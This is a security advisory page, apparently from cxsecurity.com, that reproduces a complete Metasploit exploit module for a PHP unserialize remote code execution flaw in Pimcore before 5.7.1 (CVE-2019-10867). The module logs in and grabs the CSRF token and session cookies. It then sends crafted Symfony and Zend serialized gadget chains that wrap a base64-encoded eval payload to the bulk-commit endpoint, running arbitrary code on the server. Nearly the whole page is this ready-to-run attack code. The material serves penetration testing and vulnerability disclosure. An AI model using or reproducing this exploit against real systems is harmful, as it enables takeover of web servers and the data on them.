Pimcore Unserialize Remote Code Execution

2019.04.30
Credit: Daniele Scanu
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "Pimcore Unserialize RCE", 'Description' => %q( This module exploits a PHP unserialize() in Pimcore before 5.7.1 to execute arbitrary code. An authenticated user with "classes" permission could exploit the vulnerability. The vulnerability exists in the "ClassController.php" class, where the "bulk-commit" method makes it possible to exploit the unserialize function when passing untrusted values in "data" parameter. Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony unserialize payload. Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload. ), 'License' => MSF_LICENSE, 'Author' => [ 'Daniele Scanu', # Discovery & PoC 'Fabio Cogno' # Metasploit module ], 'References' => [ ['CVE', '2019-10867'], ['URL', 'https://github.com/pimcore/pimcore/commit/38a29e2f4f5f060a73974626952501cee05fda73'], ['URL', 'https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Pimcore 5.x (Symfony unserialize payload)', 'type' => :symfony], ['Pimcore 4.x (Zend unserialize payload)', 'type' => :zend] ], 'Payload' => { 'Space' => 8000, 'DisableNops' => true }, 'Privileged' => false, 'DisclosureDate' => "Mar 11 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base Pimcore directory path", '/']), OptString.new('USERNAME', [true, "Username to authenticate with", '']), OptString.new('PASSWORD', [false, "Password to authenticate with", '']) ] ) end def login # Try to login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'login', 'login'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code == 302 && res.headers['Location'] =~ /\/admin\/\?_dc=/ print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") # Grabbing CSRF token and PHPSESSID cookie return grab_csrftoken(res) end if res.code == 302 && res.headers['Location'] =~ /auth_failed=true/ fail_with(Failure::NoAccess, 'Invalid credentials') end fail_with(Failure::NoAccess, 'Authentication was unsuccessful') end def grab_csrftoken(auth_res) uri = "#{target_uri.path}admin/?_dc=#{auth_res.headers['Location'].scan(/\/admin\/\?_dc=([0-9]+)/).flatten.first}" res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri), 'cookie' => auth_res.get_cookies ) if res && res.code == 200 # Pimcore 5.x unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty? @csrf_token = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s @pimcore_cookies = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0] fail_with(Failure::NotFound, 'Failed to retrieve cookies') unless @pimcore_cookies @pimcore_cookies << " pimcore_admin_sid=1;" # Version version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0] build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1] fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build print_version(version, build) return assign_target(version) end # Pimcore 4.x unless res.body.scan(/csrfToken: "[a-z0-9]+",/).empty? @csrf_token = res.body.scan(/csrfToken: "([a-z0-9]+)",/).flatten.first.to_s @pimcore_cookies = res.get_cookies.scan(/(pimcore_admin_sid=[a-z0-9]+;)/).flatten[0] fail_with(Failure::NotFound, 'Unable to retrieve cookies') unless @pimcore_cookies # Version version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0] build = res.body.scan(/build: "([0-9]+)",/i).flatten[0] fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build print_version(version, build) return assign_target(version) end # Version different from 4.x or 5.x return nil else fail_with(Failure::NoAccess, 'Failed to grab csrfToken and PHPSESSID') end end def print_version(version, build) print_status("Pimcore version: #{version}") print_status("Pimcore build: #{build}") end def assign_target(version) if Gem::Version.new(version) >= Gem::Version.new('5.0.0') && Gem::Version.new(version) <= Gem::Version.new('5.6.6') print_good("The target is vulnerable!") return targets[0] elsif Gem::Version.new(version) >= Gem::Version.new('4.0.0') && Gem::Version.new(version) <= Gem::Version.new('4.6.5') print_good("The target is vulnerable!") return targets[1] else print_error("The target is NOT vulnerable!") return nil end end def upload # JSON file payload fpayload = "{\"customlayout\":[{\"creationDate\": \"#{rand(1..9)}\", \"modificationDate\": \"#{rand(1..9)}\", \"userOwner\": \"#{rand(1..9)}\", \"userModification\": \"#{rand(1..9)}\"}]}" # construct POST data data = Rex::MIME::Message.new data.add_part(fpayload, 'application/json', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"") # send JSON file payload to bulk-import function res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'class', 'bulk-import'), 'vars_get' => { 'csrfToken' => @csrf_token }, 'cookie' => @pimcore_cookies, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code == 200 json = res.get_json_document if json['success'] == true print_good("JSON payload uploaded successfully: #{json['filename']}") return json['filename'] else print_warning('Could not determine JSON payload file upload') return nil end end end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'login') ) unless res return Exploit::CheckCode::Unknown end if res.code == 200 && res.headers =~ /pimcore/i || res.body =~ /pimcore/i return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def exploit # Try to log in, grab csrfToken and select target my_target = login if my_target.nil? fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end # Try to upload JSON payload file fname = upload unless fname.nil? # Register uploaded JSON payload file for cleanup register_files_for_cleanup(fname) end print_status("Selected payload: #{my_target.name}") case my_target['type'] when :symfony # The payload to execute spayload = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'" # The Symfony object payload serialize = "O:43:\"Symfony\\Component\\Cache\\Adapter\\ApcuAdapter\":3:{" serialize << "s:64:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00mergeByLifetime\";" serialize << "s:9:\"proc_open\";" serialize << "s:58:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00namespace\";a:0:{}" serialize << "s:57:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00deferred\";" serialize << "s:#{spayload.length}:\"#{spayload}\";}" when :zend # The payload to execute spayload = "eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));" # The Zend1 object payload serialize = "a:2:{i:7;O:8:\"Zend_Log\":1:{s:11:\"\x00*\x00_writers\";a:1:{" serialize << "i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\x00*\00_eventsToMail\";a:1:{" serialize << "i:0;i:1;}s:22:\"\x00*\x00_layoutEventsToMail\";a:0:{}s:8:\"\00*\x00_mail\";" serialize << "O:9:\"Zend_Mail\":0:{}s:10:\"\x00*\x00_layout\";O:11:\"Zend_Layout\":3:{" serialize << "s:13:\"\x00*\x00_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{" serialize << "s:16:\"\x00*\x00_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\x00*\x00_replacement\";" serialize << "S:#{spayload.length}:\"#{spayload}\";}" serialize << "s:20:\"\x00*\x00_inflectorEnabled\";b:1;s:10:\"\x00*\x00_layout\";" serialize << "s:6:\"layout\";}s:22:\"\x00*\x00_subjectPrependText\";N;}}};i:7;i:7;}" end # send serialized payload send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'admin', 'class', 'bulk-commit'), 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'cookie' => @pimcore_cookies, 'vars_post' => { 'filename' => fname, 'data' => JSON.generate( 'type' => 'customlayout', 'name' => serialize ) }, 'headers' => { 'X-pimcore-csrf-token' => @csrf_token } }, 30 ) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top